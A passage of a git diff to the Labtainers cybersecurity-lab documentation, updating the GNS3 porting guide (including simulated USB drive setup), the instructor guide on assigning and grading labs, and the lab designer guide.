b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/gns3.tex index f262cd68f..28cf7e449 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/gns3.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/gns3.tex @@ -97,19 +97,9 @@ cd gns3-gui sudo python3 setup.py install \end{verbatim} \normalsize -\noindent Run the server from a terminal with LABTAINER\_DIR defined. -\begin{verbatim} - gns3server --local --log /tmp/gns3log -\end{verbatim} -\noindent The server does not display to stdout. Tail the /tmp/gns3log to see status. -\noindent Run the gui from a different terminal or tab: -\begin{verbatim} - gns3 -\end{verbatim} - -\section{Updating local git repos} +\subsubsection{Updating local git repos} Note below that your Labtainers repo uses the "gns3" branch -- and your GNS3 repo uses the "labtainers" branch. From the local GNS3 repo: \begin{verbatim} @@ -124,7 +114,7 @@ git pull origin gns3 After pulling, always run {\tt sudo python3 setup.py install} to get the latest build of GNS3. Do this as well after making local edits to the source code to see changes in the build. -\section{Updating remote repo} +\subsubsection{Updating remote repo} This step is only for use by Labtainers framework developers. The GNS3 repo: \begin{verbatim} @@ -136,6 +126,21 @@ git push --set-upstream origin labtainers git push --set-upstream origin gns3 \end{verbatim} +\section{Starting GNS3} +Run the server from a terminal with LABTAINER\_DIR defined. + +\begin{verbatim} + gns3server --local --log /tmp/gns3log +\end{verbatim} +\noindent The server does not display to stdout. Tail the /tmp/gns3log to see status. + +\noindent Run the gui from a different terminal or tab: +\begin{verbatim} + gns3 +\end{verbatim} +\noindent Use the {\tt -s} option to run as a student (to hide unused GUI objects, unused popup menu items +and nodes and links that are to be hidden from the student.) Optionally provide the path to the gns3 project +file to avoid the project dialog. \section{Porting a Labtainers lab} This example illustrates porting the telnetlab from Labtainers to run in the GNS3 environment. @@ -163,6 +168,7 @@ Create modified Docker images for the lab: \begin{verbatim} ./noNet.py telnetlab \end{verbatim} +\noindent \textbf{NOTE:} Make note of the container image names displayed. You will use these when adding appliance templates below. View the Labtainer network topology. \begin{verbatim} @@ -181,7 +187,8 @@ the lab. will cause the GUI to hide toolbars and widgets that students should not interact with. The container state after quitting gns3 will also persist. Without the student flag a lab's containers state wil reset upon pressing start once. \item Open a new project, assigning the same name as the Labtainers lab, e.g., ``telnetlab'' \item Use {\tt Browse all devices / Add appliance template} to add the new container images created - via the {\tt noNet.py} command. Accept all defaults, except set the number of ``Adapaters'' to + via the {\tt noNet.py} command (DO NOT select the original container image names, e.g., having ``student'' as a suffix). +Accept all defaults, except set the number of ``Adapaters'' to the quantity displayed using {\tt showNet.py} for each component. \item Drag each container image from the list on the left of the GUI onto the workspace. (Do not try to fix the component names, that will be done later). @@ -193,6 +200,121 @@ the lab. Changes made to Labtainers container images will be picked up by GNS3 the next time the GUI is started, assuming you re-run the noNet.py command. There is no need to redefine appliance templates. +\section{Remote access to containers} +See the \textit{Lab Designer User Guide} section on ``Remote access and control of Labtainers'' for information +on remote management and remote access to containers within a lab. + +\section{Simulated USB drives} +This section outlines Labtainers/GNS3 support for simulating insertion of USB drives. The goal is for the udevd on selected containers to +recognize and respond to these events, i.e., based on rules in {\tt /etc/udev/rules.d}. + +All containers will see inserted drives, regardless of how the container is configured. Thus, any udev rules or other logic that queries +device attributes must be mitiaged on components that are not to react to insertion. + +A summary of the steps are: +\begin{itemize} +\item Build and install the linux dummy\_hcd kernel module. +\item Create a simple script that uses modprobe to create the simulated device on the VM; and a script to remove it. Put these scripts in a +subdirectory of the lab directory along with a disk image for the USB (i.e., the "backing file"). This can be created with dd and mkext3... +\item Identify those scripts within the start.config THUMB.. entries for containers that are to have insertable USB drives. +\item Gizmo to mount the device on the container after it is \textit{authorized} is TBD, but tractable, e.g., in the rules.d file? +\end{itemize} + +\subsection{Linux dummy\_hcd module build and installation} +These instructions were tested on an Ubuntu 18 VM. +\begin{itemize} + +\item Get kernel source: {\tt sudo aptitude install linux-source} (You can remove this package prior to minting the VM image) + +\item Use git clone to retrive two files some kind soul had posted: +\begin{verbatim} + git clone https://github.com/serianox/DKMS-dummy_hcd.git +\end{verbatim} +\item Copy those two files to a new directory created at {\tt /usr/src/dummy\_hcd-01/} on the VM. + +\item Use dkms to build and install the module, as sudo: +\begin{verbatim} + dkms add -m dummy_hcd -v 0.1 + dkms build -m dummy_hcd -v 0.1 + dkms install -m dummy_hcd -v 0.1 +\end{verbatim} + +\item Load the module with {\tt modprobe dummy\_hcd} +\item Add {\tt dummy\_hcd} to /etc/modules so it loads on the next boot. + +\item Test by: +\begin{itemize} + +\item creating a backing file as file system +\begin{verbatim} + dd if=/dev/zero of=/tmp/usb.img bs=1k count=1k + mkfs.ext2 -F usb.img +\end{verbatim} + +\item Create the simulated device: +\begin{verbatim} + sudo modprobe g_mass_storage file=/tmp/usb.img \ + idVendor=0x1d6b idProduct=0x0104 iManufacturer=Myself \ + iProduct=VirtualBlockDevice iSerialNumber=123 +\end{verbatim} + +\item Check that it exists with {\tt lsusb} + +\item Delete device with {\tt sudo modprobe -r g\_mass\_storage} + +\end{itemize} +\end{itemize} + +\subsection{Configure the lab} +See the usbtest lab as an example. +\begin{itemize} +\item Start the {\sbin/udevd -d} on each component that is to react to a usb insertion, e.g., in a {\tt faux\_init} file. +\item Create a subdirectory of your lab, e.g., {\tt host\_data} into which you will place a few scripts and the disk image. +\item Use the two modprobe commands above as templates for creating two scripts, one for creating the device, and one for removing it (for use +when stopping the lab so the device does not persist. +\item Set sudoers to not require a password to run the modprobe script. Add +something like the following using {\tt visudo -f /etc/sudoers} +\begin{verbatim} +mike ALL=(root) NOPASSWD: /home/mike/git/Labtainers/labs/usbtest/host_data/usb_create.sh +\end{verbatim} +\noindent and do the same for the script that deletes the device on stop. + +\item Modify the start.config to include THUMB... commands for the components that are to have insertable USB drives. +Include at least the THUMB\_COMMAND and THUMB\_STOP. Provide the paths to your scripts, relative to the lab directory. + +\item Modify the dockerfiles of components that have THUMB directives to replace filter the {\df} output so that volume lists do not look confusing: +\begin{verbatim} + RUN mv /bin/df /bin/mydf + RUN echo "/bin/mydf $@ | grep -v '/dev/sda1' | sort | uniq -u" > /bin/df +\end{verbatim} + +\item Disable auto mount in the VM (TBD, do these gsettings work?): +\begin{verbatim} + gsettings set org.gnome.desktop.media-handling automount false + gsettings set org.gnome.desktop.media-handling automount-open false +\end{verbatim} + +\end{itemize} + +\subsection{Implementation notes} +Running modprobe on the container has no advantage, because all containers will see the effects. Running the {\tt modprobe} on the +host lets the backing store file live on the host, where its contents can be +dynamically modified, e.g., to introduce malware into the usb drive. + + + +\begin{itemize} +\item The udevd daemon will cause devices to become visible on those components; and that will occur regardless of sharing /dev or privilege. +\item GNS3 runs containers as privileged, so consider using the {\tt df} filter on all of them. +\item Perhaps put the mounting in a second udev rule, to run if the device persists? +\item Student can insert a USB into a stopped container. What then is the iadrive supposed to do when the system starts? +\item Use the {\tt lsusb} command on the VM to see the simulated USB, it has a attributes that include the product info provided by the +create script and the words {\tt Linux Foundation Multifunction Composite Gadget} +That entry remains, even after the iadrive deletes the device. So that entry will be our indication that the drive is still inserted. +\item Fix thumb drive icon in GNS3 +\end{itemize} + + \section{GNS3 interface changes for Labtainers} Once the lab is defined for use in GNS3, it can be run by opening the associated project file. The following features were added to the GNS interface: \begin{itemize} @@ -206,7 +328,16 @@ Once the lab is defined for use in GNS3, it can be run by opening the associated by pressing the "Restart Lab" button. \item All Labtainers containers support X11 applications using the host system X11 server. \item Starting the gns3 program with the \-\-student flag will cause the GUI to hide toolbars and widgets that students should not interact with. + \item Right clicking on a Labtainer node will display a pop-up menu including an option to insert a thumb drive. This will cause + a {\tt THUMB\_COMMAND} from the start.config to execute on the VM, i.e., to create a simulated USB device using the dummy\_hcd + kernel module. Also a {\tt sudo mount} command may run on the container, with arguments provided in start.config THUMB\_VOLUME configuration + value for that container. If the simulated USB drive is already created, then the pop-up menu will include an option to remove the + drive, instead of inserting it. Components that lack THUMB... entries in the start.config will not have any such menu items. + \item Use of the {\tt -s} option when starting gns3 will cause any cloud endpoint nodes to be hidden from the student, +along with any links to them. It will also hide any Labtainer containers having {\tt HIDE YES} in the start.config. \end{itemize} + + \section{History} This section describes steps taken to create the Labtainers version of GNS3. The steps outlined here are not intended to be repeated by developers. @@ -245,4 +376,9 @@ To add icons: \item Run 'sudo python3 setup.py install' in the gns3-gui directory. \end{itemize} Added lab manual button and check work button. +\section{Notes} +The startup file is provided to start\_window.py, and that is provided to loadPath, and that results in +a call to Topology.loadProject. The nodes and links are created in graphics\_view.py + \end{document} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/labtainers_GNS3.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/labtainers_GNS3.pdf new file mode 100644 index 000000000..43084963c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/labtainers_GNS3.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile index fb422e0e0..d6f89ec15 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile @@ -1,5 +1,5 @@ labtainer-instructor.pdf: labtainer-instructor.tex - latex labtainer-instructor + pdflatex labtainer-instructor pdflatex labtainer-instructor clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf new file mode 100644 index 000000000..78c76ace7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex index b59599040..4f4841bca 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex @@ -4,66 +4,130 @@ \usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} \usepackage{bookmark} \usepackage[autostyle, english = american]{csquotes} -\usepackage{appendix} +\usepackage[page,toc,titletoc,title]{appendix} +\usepackage{graphicx} \begin{document} -\title {Labtainer Instructor Guide\vspace{-4ex}} -\maketitle +\begin{titlepage} +\centering +\vfill +\vspace*{4\baselineskip} +{\bfseries\Large +Labtainers Instructor Guide\par +} +\vspace*{4\baselineskip} +{\bfseries +Fully provisioned cybersecurity labs\par +} +\vspace*{2\baselineskip} +\today +\vfill +\includegraphics[width=2in]{labtainer5-sm.png} +%\includegraphics[width=\linewidth, scale=0.50,natwidth=200, natheight=286]{labtainer5-sm.png} +\vfill +\end{titlepage} \section {Introduction} This manual is intended for use by instructors who assign and/or grade labs using Labtainers. -Labtainers assume you have a Linux system, e.g., a virtual machine (VM). -The easiest path is to use our pre-built VM available at the Labtainer -website \url{https://my.nps.edu/web/c3o/virtual-machine-images}. -Alternately, refer to -in Appendix A of the \underline{Labtainer Student Guide} for installation of VirtualBox -and a Linux system. -Note that any Linux system can be used as long as it supports Docker. -If Labtainers is to be used on a Linux system other than the pre-built VM, -refer to the \underline{Labtainer Student Guide} for information on -installing Labtainers. Labtainers provide a consistent execution environment for performing laboratory exercises, and can include execution of several different computers interconnected via virtual networks. Refer to our published -papers at \url{https://my.nps.edu/web/c3o/labtainers} for additional information -on the use of Labtainers. And see the \underline{Lab Designer User Guide}" -at \url{https://my.nps.edu/documents/107523844/109121513/labdesigner.pdf} for -information on creating and maintaining Labtainer exercises. +papers at \url{https://nps.edu/web/c3o/labtainers} for additional information +on the use of Labtainers. +See \ref{customizing} for information on creating and maintaining Labtainer exercises. + +The easiest way to get Labtainers is to use our pre-built VM available at the Labtainer +website \url{https://nps.edu/web/c3o/virtual-machine-images}. +Note that any Linux system can be used as long as it supports Docker. + +Students and instrutors can also create Labtainer VMs on the cloud using either Azure or Google cloud platforms. +See the section on ``Cloud Labtainers'' in the +\underline{Labtainer Student Guide} for information on how to create Labtainer VMs in the cloud. + +If Labtainers is to be used on a system other than the pre-built VM or the cloud, +refer to the \underline{Labtainer Student Guide} for information on +installing Labtainers. + +Running Labtainers on servers, (e.g., Virtual Desktop Interface), deployments is discussed in +section \ref{servers} + +\section{Assigning Labs} +Pior to assigning a lab, become familiar with it by reviewing the lab and its manual. -\subsection{Assigning a Lab} Student instructions for using Labtainers are in the \underline{Labtainer Student Guide}. Students work from the {\tt labtainer-student} directory, i.e., \begin{verbatim} cd ~/labtainer/trunk/scripts/labtainer-student \end{verbatim} +\subsection{Selecting Labs} Available labs are listed via the {\tt labtainer} script: \begin{verbatim} labtainer \end{verbatim} -\noindent Start a lab by providing its name as an argument to the {\tt labtainer} command. +\noindent Use the {\tt -k} option to see a list of searchable keywords, and the {\tt -f } option to view a summary +of labs having that keyword. + +Lab exercises are also organized into \textit{Labpacks}. These are ordered collections of multiple related labs that you may +wish to assign to students. Use this command: +\begin{verbatim} + labpack +\end{verbatim} +\noindent to view a list of Lab Packs, and provide the name of a Labpack as an argument to see a list of the labs +within a Labpack. You may also create your own Labpacks as described in \ref{labpacks}. + +Available labs are also summerized and organized into broad categories at \url{https://nps.edu/web/c3o/labtainer-lab-summary1}. + +Additional lab exercises created by instructors are available as IModules, which are listed at \url{https://nps.edu/web/c3o/imodules}. +Students can get access to those labs using: +\begin{verbatim} + imodule +\end{verbatim} +\noindent where {\tt url} is that provided on the IModules web page. + +\subsection{Try the Lab} +Start a lab by providing its name as an argument to the {\tt labtainer} command. This will typically display a link to a lab manual, or will display a lab manual in one of the resulting virtual terminals. You can interact with the resulting computers just as a student would. -\subsection{Assessing a Lab} +\section{Assessing Lab Performance} When the student stops a lab, i.e., using {\tt stoplab}, Labtainers creates a zip file of student artifacts (including lab reports) and then displays the path to this zip file to -the student. The easiest way for the student to forward this zip file to you is by starting +the student. This zip file has an extension of {\tt .lab} to confuse GUI-based file managers, +thus preventing click-happy students from opening the zip and submitting its internal files rather than the entire +zip (lab) file. The easiest way for the student to forward this zip file to you is by starting a browser on the Linux VM and either emailing you the zip file, or uploading the file -into an LMS, (e.g., Sakai). Alternately, the student can define a shared folder in the VM -and copy the zip to the host computer. +into an LMS, (e.g., Sakai). See the \textit{Labtainers Student Guide} for a discussion of +ways in which students can forward results to the instrutor. + +Collect all of the lab zip files from each student into the Labtainer transfer directory for +that lab. On +Linux systems, e.g., the Labtainer VM appliance, the transfer directory is located at: -Collect all of the lab zip files from each student into your Labtainer transfer directory, which -is typically at \begin{verbatim} - ~/labtainer_xfer/ + $HOME/labtainer_xfer/ \end{verbatim} -\noindent where labname is the name of the lab. Do not unzip the files. Alternately student +\noindent where labname is the name of the lab. Each lab has its own transfer directory. +Do not unzip the files. Alternately student assignments can be bulk-collected from a learning management system (LMS) per Appendix \ref{lms collection} and the resulting zip would be copied into the -Labtainer transfer directory. Again, do not unzip files and do not change the file names of zip files. +transfer directory for that lab. Again, do not unzip files and do not change the file names of zip files. +If you wish to manually review the content of the student artifact files, copy them to a different directory and +then use the {\tt unzip} command on the command line. That utility will not be confused by the {\tt .lab} extension +and the prepended text that is intended to prevent GUI file managers from unzipping the files. +\subsection{Moving student results onto your Linux VM} +There are several ways to move student results into your transfer directory: +\begin{itemize} +\item Use the VM's browser to access email or your school's LMS system, e.g., Blackboard or Sakai. +\item Enable \textit{drag and drop} on the VM and copy the files into the transfer directory. +\item Define a shared directory as described in Appendix \ref{shared-directory}. +\item Removable media, e.g., a USB drive alternately connected to the host and the VM. +\item Enable port forwarding on the host and use {\tt scp} to move the files. +\end{itemize} + +\subsection{Using gradelab} Instructor assessment of labs takes place from the {\tt labtainer-instructor} directory, i.e., \begin{verbatim} cd ~/labtainer/trunk/scripts/labtainer-instructor @@ -75,13 +139,22 @@ Instructor assessment of labs takes place from the {\tt labtainer-instructor} di \end{verbatim} \noindent A table of lab results with one row per student and a column for each goal will be displayed. A description of the goals follows the table. +A web-based display of that data is available as described in subsection \ref{review-artifacts}. + Note that not all labs include automated assessment. For those labs, you will see this -messsage: +message: \begin{verbatim} No automated assessment for this lab \end{verbatim} \noindent Even when no automated assessment is performed, you can still observe student performance -artifacts, e.g., the {\tt .bash\_history} file as described below in \ref{review-artifacts}. +artifacts, e.g., the {\tt .bash\_history} file and files created by the student as described below in \ref{review-artifacts}. + +By default, each time you run gradelab, a fresh grader container is created and is populated with files from the +{\tt labtainer\_xfer} directory. Use the {\tt -c} option to force reuse of the previous grader for that lab, in which case +any new files in the xfer directory will be added to the previous container content. +Sometimes zip files within the {\tt labtainer\_xfer} directory are corrupted. If error messages indicate a bad zip file, +try removing it from the directory and then run gradelab again. +Use the {\tt -u } option to update your gradelab to the latest image. Student reports (if any) are copied into \begin{verbatim} @@ -94,12 +167,36 @@ be looked for in \end{verbatim} \noindent which also includes reports separately uploaded into the LMS. -\subsubsection{Review artifact details} +\subsection{Review lab artifacts} +\label{review-artifacts} +An early release of a web-based tool for viewing details of student assessment +results and student artifacts is available by use of the {\tt -w} flag with the {\tt gradelab} command. That causes +the grader container to listen on port 8008 of the Labtainer VM. You can then open +a browser on that VM and go to {\tt localhost:8008}. Alternately, use your host machine's browser +by setting port forwarding on your VM, (e.g., in VirtualBox, use Machine / Settings / Network / Advanced / +Port Forwarding to set host IP 127.0.0.1:8008 to map to guest IP 0.0.0.0:8008). + +The table of goals displayed in the browser includes links to details of artifacts +created by the student when performing the lab. For example, clicking on the student name displays a table +of all timestamped result artifacts. That page includes a \textbf{History} heading with links to the +{\tt .bash\_history} files one each container. And it includes a table with links to files in the student home directory +and links to result files, e.g., stdout from selected commands issued by the student. + +Links within each goal table cell lead to pages whose content depends on the type of goals defined. For example, +a goal whose value is defined by a boolean expression will lead to a table of all boolean values for each timestamp +for which results are present. + +Definitions of different goal types and result types can be found in the \textit{Lab Designer Guide}. Note that you need +not understand all of the displayed data in order to gain useful insight into student progress. Some of the displayed information +requires an understanding of the Labtainers automated assessment configuration directives, and is made available in the displays +primarily in support of those developing automated assessment for labs. + +\subsubsection{Artifacts on the grader container} You can view all student results, including their original artifacts by using the {\tt -d} flag with the {\tt gradelab} command. This results in a virtual terminal connected to a grading container that contains all student artifacts and results. If you have not first run the {\tt gradelab} command without the ``-d'' option, run {\tt instructor.py} from within the -virtual terminal to cause the zip files to be extracted. A student's home directory can +virtual terminal to cause the zip files (with a {\tt .lab} extension) to be extracted. A student's home directory can then be found in \begin{verbatim} /..student @@ -114,9 +211,10 @@ Student artifacts collected by the framework are found in files. You can create additional virtual terminals into the grading container by reissuing the gradelab command with the {\tt -a} flag. When you are finished, or wish to stop working, type: \begin{verbatim} - stopgrade + stoplab \end{verbatim} + \section{Managing Labtainer Installations and Updates} Any given Labtainers installation can be brought up to date to the latest version by using the \begin{verbatim} @@ -139,7 +237,7 @@ using: \noindent \\If you want to update the labtainer.grader docker image (and delete the previous image and grader containers) use: \begin{verbatim} - update-gradelab + gradelab -u \end{verbatim} @@ -148,11 +246,100 @@ A student's work on any given lab is preserved until and unless the student rest option on the {\tt labtainer -r} command. When taking a break from work on a lab, the student can either stop the lab using {\tt stoplab}, or simply pause the VM. However, if the student wishes to perform other Labtainer-related work on the VM, (e.g., revisit a previous lab), they should first use {\tt stoplab} for the current -lab. When the restart the lab, none of their work will be lost. +lab. When they restart the lab, none of their work will be lost. + +If you are using automated assessment for labs, it may be helpful to remind students to run stoplab prior to +sending you their results archive from the {\tt labtainer\_xfer} directory. + +Students can review their own work on labs that include automated assessment using the {\tt checkwork} command. +A few labs include quiz questions. For example, the database-access lab includes a quiz that students should perform +to ensure they understand the desired security policy before making changes to database schema. + +\subsection{Networking} +You may wish to direct students to install additional packages within a lab. Please refer to the \textit{Networking} section +of the student guide for information on access to external networks, e.g., to use {\tt apt-get} or {\tt yum}. + +\subsection{Deploying without the Internet} +Labtainers pulls Docker images from Docker Hub when a student first runs any given lab. You can deploy +Labtainers within environments that have no Internet connection by first creating your own +VM template. Start with the standard Labtainers VM, and run the script at +\begin{verbatim} + $LABTAINER_DIR/setup_scripts/pull_lab.py +\end{verbatim} +\noindent to pull images for your desired labs onto the VM. Then replicate that VM for each user, e.g., by +exporting it as an appliance. + +Note that a few labs deliberately access the Internet, e.g., the public key lab. You can either avoid use +of those labs, or alter them to direct students to alternate network addresses. + +\subsection{Deploying on servers} +\label{servers} +Labtainers can be deployed on servers and accessed by students using a web browser. Labtainers includes +scripts for creating and accessing Labtainer VMs in the Azure and Google cloud platforms as described in +the Labtainers Student Guide. + +You can also create you own deployments, assuming you have access to suitable infrastructure and IT support. Two general approaches are: +\begin{enumerate} +\item Virtual Desktop Infrastructure -- Use VDI products such as VMWare Horizon +to run Labtainer VMs. In these environments, each student is allocated a VM, and that VM's desktop is seen +by the student in the browser. Students deliver their results to instructors by starting a browser +within the VM, e.g., to access an LMS or web-mail account. +\item \textit{Headless Labtainers} -- Labtainers are deployed as servers in a cloud and a \textit{NOVNC} desktop is +rendered using a web browser. Access to the Labtainer server instance is via HTTP through an SSH tunnel. +Please see \url{https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/README.md} for additional information, +including a sample cloud-config file. +\end{enumerate} + +\section{Customizing Labtainers} +\label{customizing} +\subsection{New and custom lab exercises} +Creating new labs and modifying existing labs is described in the \textit{Labtainers Lab Designer User Guide}. +\url{https://github.com/mfthomps/Labtainers/raw/master/docs/labdesigner/labdesigner.pdf} + +That guide also describes how to use \textit{IModules} to provide your students with custom versions of the lab manuals, and how to +publish new labs so that they can be incorporated into your student's Labtainers instances, and shared +with other educators. + +\subsection{Create new Labpacks} +You can organize lab exercises into your own Labapcks using the {\tt makepack} command, or with the {\tt makepackui} GUI. +Each of these commands are run from this directory: +\begin{verbatim} + $LABTAINER_DIR/scripts/labtainer-instructor +\end{verbatim} +\subsubsection{Command line} +Use the {\tt makepack} command, providing the name of the Labpack that you wish +to create or modify.\footnote{Do not modify other Labpacks, only modify those that you've created.} +\begin{verbatim} + makepack mypack1 +\end{verbatim} + +\noindent This results in a shell that accepts makepack commands. Use either {\tt h} or {\tt ?} to get help. +Note that chages to Labpacks are stored immediately, there are no save/quit options. + +\subsubsection{GUI} +The {\tt makepackui} command is functionally similar to makepack, but it provides a GUI. + +\subsubsection{Distributing Labpacks} +Labpacks are stored in the {\tt \$LABTAINER\_DIR/labpacks} directory. To publish one or more Labpacks so that +they are available to your students, go to the {\tt labpacks} directory and use tar to create a tarball containing +each of your Labpacks. For example: +\begin{verbatim} + tar tf mypacks.tar mypack1 mypack2 +\end{verbatim} +\noindent Include only the names of your custom Labpacks that you wish your students to receive. +Then post the resulting tarball on a website and provide your students with the URL. Students will then +provide that URL to the {\tt labpack} command: +\begin{verbatim} + labpack -a +\end{verbatim} +\noindent to get access to your Labpacks. \newpage -\appendix +\begin{appendices} +%\appendix +\pagenumbering{Alph} +\setcounter{page}{3} \section{\\LMS Assignment Collection} \label{lms collection} \subsection{Sakai} @@ -172,4 +359,56 @@ In addition to the assessment summary, any student lab reports will be available \end{verbatim} \noindent Those reports will include any that the student separately uploaded into Sakai (it is important to remind students to NOT change the name of lab report documents.) + +\subsection{Moodle} +See the Moodle user guide at +\newline +\url{https://moodleuserguides.org/guides/bulk-download-assignment-submissions/} +for information on getting a bulk download, but DO NOT unzip the file. Copy the resulting zip into the lab transfer directory +on the Linux host, i.e., +\begin{verbatim} + ~/labtainer_xfer/ +\end{verbatim} +\noindent Do not unzip the file and do not change its file name. +You can then run the {\tt gradelab } command from the {\tt labtainer-instructor} directory. +In addition to the assessment summary, any student lab reports will be available in: +\begin{verbatim} + ~/labtainer_xfer//reports/ +\end{verbatim} +\noindent Those reports will include any that the student separately uploaded into Moodle (it is +important to remind students to NOT change the name of lab report documents.) + +\subsection{Other LMS} +Send me a sample of the bulk download file from other LMS systems and we'll roll it into a future Labtainers release. (mfthomps at nps.edu) + +\newpage +\section{Defining shared folders} +\label{shared-directory} +It is often more convenient for instructors to gather student zip files on the computer that hosts a Labtainers +VM rather than on the VM. For example, email clients and/or LMS interfaces may run more easily on the host than +they do on the VM. One way that this can be achieved is by defining a shared folder for use by the VM guest, as follows: +\begin{itemize} +\item Pick a directory on your host that you will share with the VM. Somewhere within that directory create a +{\tt labtainer\_xfer} subdirectory. +\item Make that directory accessible by anyone on your host machine. +\item Define a shared folder for your guest VM, e.g., on VirtualBox, use Machine / Settings / Shared folders, map it +to your selected directory. +\item On VirtualBox, ensure your user ID is within the vboxsf group, and reboot. +\begin{verbatim} + sudo usermod -G vboxsf -a $USER + sudo reboot +\end{verbatim} +\item On the virtual machine, identify the path to the {\tt labtainer\_xfer} directory in the shared folder. For example, +if you shared a directory called {\tt mydir} on VirtualBox, that might be found at {\tt /media/sf\_mdir/labtainer\_xfer}. +\item From the \$HOME directory on the virtual machine, remove the {\tt labtainer\_xfer} directory and replace it with +a symbolic link to the shared {\tt labtainer\_xfer} directory, e.g., +\begin{verbatim} + cd + ln -s /media/sf_mydir/labtainer_xfer +\end{verbatim} +\noindent depending on where you created the new {\tt labtainer\_xfer} directory within the shared folder. +\item Now place student zip files on the host within the {\tt labtainer\_xfer/} directory. Note +the lab subdirectory will be created when you start the lab to run it yourself -- or you can create it manually. +\end{itemize} +\end{appendices} \end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer5-sm.png new file mode 100755 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile index 1e73277f1..e160552ea 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile @@ -1,5 +1,6 @@ labdesigner.pdf: labdesigner.tex pdflatex labdesigner + pdflatex labdesigner clean: rm -fr auto rm -fr labdesigner.aux labdesigner.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf new file mode 100644 index 000000000..a412b765c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex index be806d17b..79ad520f8 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex @@ -9,8 +9,22 @@ \usepackage{float} \begin{document} \begin{titlepage} -\title {Labtainer Lab Designer User Guide} -\maketitle +\centering +\vfill +\vspace*{4\baselineskip} +{\bfseries\Large +Labtainer Lab Designer User Guide\par +} +\vspace*{4\baselineskip} +{\bfseries +Fully provisioned cybersecurity labs\par +} +\vspace*{2\baselineskip} +\today +\vfill +%\includegraphics[natwidth=200, natheight=286]{labtainer5-sm.png} +\includegraphics[width=0.4\textwidth]{labtainer5-sm.png} +\vfill \vspace{2.0in} This document was created by United States Government employees at @@ -79,7 +93,7 @@ than do VMs. A student laptop that struggles to run two or more VMs can readily run multiple containers simultaneously, as shown in this 50 second demonstration: \url{https://youtu.be/JDV6jGF3Szw} Lab designers enhance labs to include automated assessment using directives built into the famework. -For example, ten rather simple directives can evaluate the following question regarding a student' +For example, ten rather simple directives can evaluate the following question regarding student work on a lab depicted in Figure \ref{fig:dmz}: ``Was there any @@ -90,19 +104,16 @@ single iptables configuration during which the student used nmap to demonstrate \end{itemize} \subsection {Obtaining the Labtainer development kit} -Installation of Labtainers is described in the \textit{Labtainer Student Guide}, +Installation of Labtainers is described in the \textit{Labtainer Student Guide}. which also includes instructions for installing an Ubuntu VM (if you do not already have a Linux system), -and the Labtainer framework. Our website also distributes pre-packaged VM appliances that already have -Labtainers installed. Labtainers will work with any Linux -distribution that supports Docker containers. If you already have Docker installed on a Linux system, +and the Labtainer framework. If you already have Docker installed on a Linux system, reference the Student Guide for other dependencies. The difference between the development kit and the standard Labtainer distribution is primarily -just the lab definition files, which are withheld from the general distribution for efficiency. - +the lab definition files, which are withheld from the general distribution for efficiency. If you have a Labtainer installation (e.g., our pre-packaged VM), you can get the developer files by going to your -labtainers directory, e.g., {\tt \~{}/labtainers/} and running {\tt ./update-designer.sh} +labtainers directory, e.g., {\tt \~{}/labtainer/} and running {\tt ./update-designer.sh} \footnote{The student password for the pre-packaged VM is "password123".} You may then want to logout and login again, or run a new {\tt bash} shell because that script sets some environment variables. @@ -142,27 +153,25 @@ environment as seen by the student is not noticeably augmented to support the fr Labtainers are intended for use on individual student computers, e.g., a laptop, or potentially a VM allocated to the student from within a VM farm. \footnote{Labtainers can also support labs in which students collaborate (or compete) on shared infrastructure. -Please see section \ref{multi user} for information on multi-user environments.} +Please see section \ref{multi user} for information on multi-user environments. We have not yet +created any multi-user labs.} The computer utilized by a student must include the Linux operating system, e.g., as a single VM. This Linux operating system, referred to herein as the \textit{Linux host}, can be any distribution and version -which supports Docker. Students download and expand a tarball, and run -an installation script as described in the \textit{Labtainer Student Guide} -\footnote{This tarball may someday be replaced by standard Linux distribution packages, -e.g., 